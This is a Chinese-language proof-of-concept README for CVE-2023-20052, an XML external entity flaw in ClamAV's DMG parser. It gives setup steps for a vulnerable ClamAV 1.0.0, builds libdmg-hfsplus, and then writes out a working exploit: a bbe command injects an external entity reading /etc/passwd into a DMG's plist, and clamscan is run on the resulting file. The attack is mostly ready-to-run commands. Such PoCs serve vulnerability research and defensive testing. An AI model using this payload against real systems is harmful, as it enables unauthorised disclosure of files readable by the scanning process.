CVE-2023-20052

CVE-2023-20052 存在于 ClamAV 的 DMG 文件解析器中的信息泄露漏洞
ClamAV 1.0.0 及更早版本、0.105.1 及更早版本以及 0.103.7 及更早版本中的 DMG 文件解析器存在一个漏洞，可能允许未经身份验证的远程攻击者访问受影响设备上的敏感信息。该漏洞是由于启用了 XML 实体替换，可能导致 XML 外部实体注入。攻击者可通过向受影响设备上的 ClamAV 提交特制的 DMG 文件进行扫描来利用此漏洞。成功利用后，攻击者可能泄露 ClamAV 扫描进程可读取的任何文件中的字节。

已在 Ubuntu 20.04 上测试

如何安装 ClamAV 1.0.0 版本

• https://github.com/Cisco-Talos/clamav/releases/download/clamav-1.0.0/clamav-1.0.0.linux.i686.deb
  
• https://github.com/Cisco-Talos/clamav/releases/download/clamav-1.0.0/clamav-1.0.0.linux.x86_64.deb
  
  

sudo dpkg -i package-name.deb

• sudo apt install -f
  

• mkdir /usr/local/share/clamav
  

• mv /usr/local/etc/freshclam.conf.sample /usr/local/etc/freshclam.conf
  

• sudo adduser clamav
  

• sudo chown -R 1002:1003 /usr/local/share/clamav
  

• sudo freshclam
  

• clamscan --version
  

安装此利用程序所需的其他一些内容

• apt-get update

• apt-get install -y ca-certificates gnupg wget
  

• echo "deb http://archive.debian.org/debian-security stretch/updates main" >> /etc/apt/sources.list
  

• wget -q -O - https://ftp-master.debian.org/keys/archive-key-9-security.asc | apt-key add -
  

• apt-get update -y
  

• sudo apt install -y libssl1.0-dev gcc g++ cmake zlib1g-dev genisoimage bbe git hfsplus
  

• git clone https://github.com/planetbeing/libdmg-hfsplus.git
  

• cd /libdmg-hfsplus
  

• cmake .
  

• make
  

• cp dmg/dmg /bin
  sudo genisoimage -D -V "exploit" -no-pad -r -apple -file-mode 0777 -o test.img . && dmg dmg test.img test.dmg
  

bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "/etc/passwd"> ]>|' -e 's/blkx/&xxe\;/' test.dmg -o exploit2.dmg

• clamscan --debug exploit2.dmg

参考：https://github.com/nokn0wthing/CVE-2023-20052